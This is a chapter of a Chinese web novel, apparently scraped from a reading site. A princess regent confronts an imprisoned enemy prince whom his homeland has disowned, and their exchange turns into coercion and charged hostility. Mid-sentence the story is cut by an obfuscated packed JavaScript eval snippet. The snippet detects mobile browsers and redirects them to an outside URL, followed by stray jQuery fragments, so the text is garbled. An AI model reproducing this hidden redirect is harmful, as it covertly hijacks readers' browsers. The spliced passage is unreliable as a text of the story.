32. 殿下请回

作品:《将军为我奴

    诏狱外的腥风血雨终究归于寂静。


    接下来的日子里,燕翎将所有精力投入了朝政之中。


    只有偶尔想起前段时间发生的一切,想起秋翠的死,想起诏狱中还有个她恨之弥深的人,才会波动心绪。


    雍王残部终于在朝廷雷霆的镇压手段下被肃清。


    为此,朝中看似一派祥和,实则暗嘲汹涌。


    燕翎于是不得不打起十二分的精神,一边平衡各方势力,一边又要督促皇弟的功课,确保其能顺利长大。


    一连七日,她几乎没离开过宣政殿。


    奏折因她中毒,早已堆积如山,各地呈报的政务均需她一一决断。


    秋霖几次劝她休息,都被她挥手摈退。


    如此辛劳,不可谓不是殚精竭虑。


    此刻。


    宣政殿中,烛火在寒冬中摇曳生姿,光影投照在墙上,映出殿中人因为劳累靠在案桌上小憩的身影。


    燕翎已在案桌上沉沉睡去。


    梦境混乱不堪,一会儿是缠绵悱恻、卧颈相交;一会儿是血色与火光的夜晚中,刺客首领那句质问“你不会是爱上萧质子了吧?”;一会儿又是遭遇刺杀那天清晨,秋翠挡在她身上,她身上温热的血溅在她脸上的触目惊心。


    她睡得极不安稳,梦境破碎后又重建。


    她看到自己中毒昏迷时,有人轻轻擦去她额头的汗,在她耳边低语:“殿下……”


    她猛然惊醒。


    此刻醒来,晨光已微亮。


    燕翎觉得脸上凉凉的,抬手一抹,满手都是泪痕。


    她怔怔看着指尖的湿润,一时恍惚不已。


    心中一股失落感油然而生。


    身上不知何时盖了一层薄毯。


    她下意识开口:“秋翠……”


    话一出口,她便愣住了。


    秋翠已经死了,死在了那日清晨的刺杀中。


    为了护她,她走了前世的轨迹。


    “殿下,您醒了。”秋霖的声音从门外传来,他端着热水和面巾走进来,顶替了昔日秋翠的活,他见燕翎满脸泪痕,叹息一声,“您太累了,趴着睡了一夜,属下不敢惊动您。”


    燕翎接过他手中温热的巾帕,敷在脸上,巾帕遮住了脸上的泪痕。


    热气蒸腾中,她闭了闭眼。


    “是你给我盖的毯子?”


    “是。”秋霖低声应道,“属下见殿下睡着了,怕您着凉。”


    燕翎放下巾帕,看着秋霖。


    秋霖眼中满是担忧,那张与秋翠有几分神色的眉眼,却让她心中一痛。


    她揉了揉眉心,有些烦躁不安的情绪:“北靖那边可有回音?”


    秋霖沉默片刻,低声道:“北靖使臣昨日抵达上京,递上国书,称……称刺杀平阳长公主乃萧烬一人所为,其所作所为与北靖无关。”


    望着窗外,晨光撒向大地,瑰丽不似凡间。


    她冷笑一声。


    “他被放弃了。”


    语气平静,竟听不出喜怒。


    “是。”秋霖低着头,“使臣还带来了北靖皇帝的亲笔信,表示愿与大晟重修旧好,萧烬就让他留在大晟,任凭殿下处置。”


    燕翎冷笑:“一个弃子。”


    “殿下……”秋霖欲言又止。


    “说。”


    秋霖深吸一口气:“既然北靖已放弃萧烬,他如今不过是无国无家的囚奴,不如将他赐死吧!”


    燕翎的手指轻轻摩挲着茶杯边缘,目光投向窗外。夜色已深,宫中灯火零星,如同她此刻纷乱的心绪。


    “本宫自有打算。”她最终只是淡淡说道。


    “秋霖,”她忽然开口,“你觉得本宫对萧烬,是否太过心软?”


    秋霖沉默良久,才谨慎地回答:“殿下自有殿下的考量。只是……属下斗胆说一句,萧烬此人深不可测,殿下若对他有一分心软,他日恐成十分祸患。”


    “是吗?”燕翎站起身,走到窗边。晨光熹微,宫墙在晨曦中显露出冷硬的轮廓。


    晨光将她的影子拉得很长,照在身后的地上,孤单而寂寥。


    “你去准备一下,”她背对着秋霖,声音平静无波,“本宫要去诏狱。”


    秋霖脸色微变:“殿下,您已经七日未好好休息,不如……”


    “去吧。”燕翎打断他,语气不容置疑。


    ……


    诏狱深处,比以往更加阴冷潮湿。


    燕翎独自走进牢房时,萧烬正靠坐在墙角。几日不见,他身上的伤已经结痂,却显得更加狼狈。听到脚步声,他缓缓抬起头,目光与燕翎对上。


    那眼神平静得可怕,仿佛一潭深不见底的水。所有的情绪都被隐藏在水面之下。


    燕翎挥手,让守卫退到远处。


    “北靖放弃你了。”她开门见山,声音在寂静的牢房中回荡,“他们送来国书,称你的所作所为皆系个人行为,如今你的生死在我手中了呢。”


    萧烬的脸上没有丝毫波动,仿佛早已料到这个结果。他只是静静地坐着,看着燕翎。


    “要不要考虑求我一下?”燕翎挑眉,“你求我,我或许留你一命!”


    萧烬只是看着燕翎,眼眸深邃,不置一词。


    燕翎突然怒了,一把拽起萧烬单薄的衣领:“北靖已然放弃你,我却还没杀你,你倒好,连句求饶也不肯说吗?”


    她怒极:“为何要背叛我也要逃走?我待你不够好吗?能让你反反复复吃里扒外!”


    萧烬闭了闭眼,毫无波动的脸上,终于浮现了一抹深沉的痛苦与挣扎。


    片刻后,他缓缓开口:“我得回去!”


    他每个字都像是从齿缝中挤出来的,带着倔强,带着细微的求饶之声:“我得回去救我母妃。”


    他道:“北靖皇宫骤变,几位皇子野心勃勃发动宫变,形势不容乐观。我恐她被殃及。她被囚禁在冷宫,已经十年了,我若不回去,她绝无活路!”


    燕翎愣住了。


    她从未听说过萧烬的母妃。在她所知的情报中,萧烬是北靖皇帝最不受宠的皇子之一,她的母妃更是籍籍无名。


    她沉了脸色,眸中神色变换不定。


    良久……


    “你以为本宫会信?”燕翎冷笑,“这种借口,未免太过拙劣。”


    萧烬眼中的恨意几乎骤然凝成实质。


    燕翎盯着他含着恨意的眸子,却突然想起雍王旧部的话语与他所言出入甚大。


    她缓缓开口,声音冷得像冰:“那莽君山呢?”


    她松开提着萧烬衣领的手,站直了身子,冷眼睨着他:“七日前的刺客你在诏狱中想必听到动静了吧?”


    她道:“刺客言明,是你与他们勾结,取了乱葬岗无名尸体的尸首换取他们一个刺杀本宫的机会。怎么,难道这群刺客还撒谎不成?你忘了这事,我却忘不了当你那日离开,我遭遇的是什么,中毒,被趁机刺杀,桩桩件件,你以为我还会信你?”


    萧烬被燕翎所言震惊,带着恨意的眸子颤了颤,似是想为自己辩解什么。


    但他终究不发一言,冷笑道:“你既已认定,又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175911|194181||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有什么可说。”


    “是没什么可说的。”她忽然笑了,那笑容带着几分自嘲:“你竟还想让本宫放了你。你觉得可能吗?”


    随即,她话语狠戾:“你要走,我偏不让你走!如今你已无处可去,倒不如呆在这大晟,做我的一条狗,挥之即来,招之即去。”


    她伸手挑上萧烬的下巴,迫使萧烬抬头看她:“或者,你更愿意为了你那虚构的母妃,活下去,做我的面首?嗯?”


    萧烬的眼神骤然变化,冷意中带着几分克制地疯狂:“燕翎,你就不怕我日后得势,灭了大晟以报此仇吗?”


    灭了大晟?


    燕翎像是骤然被刺中的刺猬,狂怒不已,怒到极致,反倒冷静下来,她冷笑一声:“那就试试!”


    “你知道吗?”她俯下身,眼与萧烬齐平,手指却轻轻划过萧烬结痂的心口,“本宫一直在想,该如何处置你。杀了你,太便宜了,本宫不甘心。现在,这便是最好的办法。”


    她的手指缓缓上滑,停在他脖颈处跳动的脉搏上:“将你囚禁起来,成为本宫的面首,不见天日。直到本宫厌倦为止!”


    萧烬倏然伸手,带着铁链的手腕抬起,手抓住燕翎的手指,一时两人僵持住。


    他的目光紧紧锁住燕翎,眼神中神情复杂难辨,有愤怒,有屈辱,有恨意,还有一丝燕翎看不懂的情绪。


    “怎么,你不愿意?”燕翎被倏然攥住手,却神色冷静,仿佛被钳制住的并不是她。


    “你知道吗?”他逼近一步,鼻息几乎喷在燕翎脸上。


    两人眸光相触,皆是毫不退让。


    他道:“那一夜我有多快活。我记得你每一个反应,每一声喘息,每一次颤抖。你动情了,所以,谁输谁赢,还未可知!”


    只听“啪”的一声响。


    燕翎冷着眸子,给了萧烬一巴掌。


    她似是推开什么脏东西一般推开萧烬,慌乱中站起身来。


    冗长的宫装,遮住了她颤抖的手。


    “怎么,不是要让我做你的面首吗?”他笑了,笑容几近残忍,“这样就受不住了?”


    燕翎眼中恼恨浮现,她想要说些什么反击,想要维持住长公主的威仪,却赫然发现,她做不到了。


    喉咙像是被什么东西堵住了一般,萧烬的话像是一柄尖锐的刀,直直刺到了她心上。


    萧烬的眼神里面带着恨意,带着得意,更有一种她从未见过的野性和欲望,不加掩饰,赤裸裸地展现在她面前。


    她忽然意识到,自己犯了一个错误。


    她是女人,而他是男人。


    她注定处于弱势。


    一种不甘的情绪笼罩在她心中。


    她囚禁他,折磨他,其实何尝不是在折磨自己。


    “我……”燕翎终于找回了自己的声音,却发现自己说不出完整的话。


    萧烬看着她眼中的慌乱与深沉的不甘,笑意更深。


    他松开了手,退后一步,重新坐回墙角,仿佛刚才那个危险的男人从未存在过。


    “殿下请回吧,”他淡淡地说,闭上了眼睛,“诏狱阴冷,不适合殿下久留。”


    燕翎站在原地,看着他平静的侧脸,脑海中却满是刚才他咄咄逼人的眼神。她忽然觉得,这个牢房变得异常狭小,空气稀薄得让她几乎窒息。


    她转身,几乎是落荒而逃。


    脚步声在石廊中急促响起,越来越远,最终消失不见。


    牢房中,萧烬缓缓睁开眼,看着燕翎离去的方向,唇角勾起一丝极淡、极冷的弧度。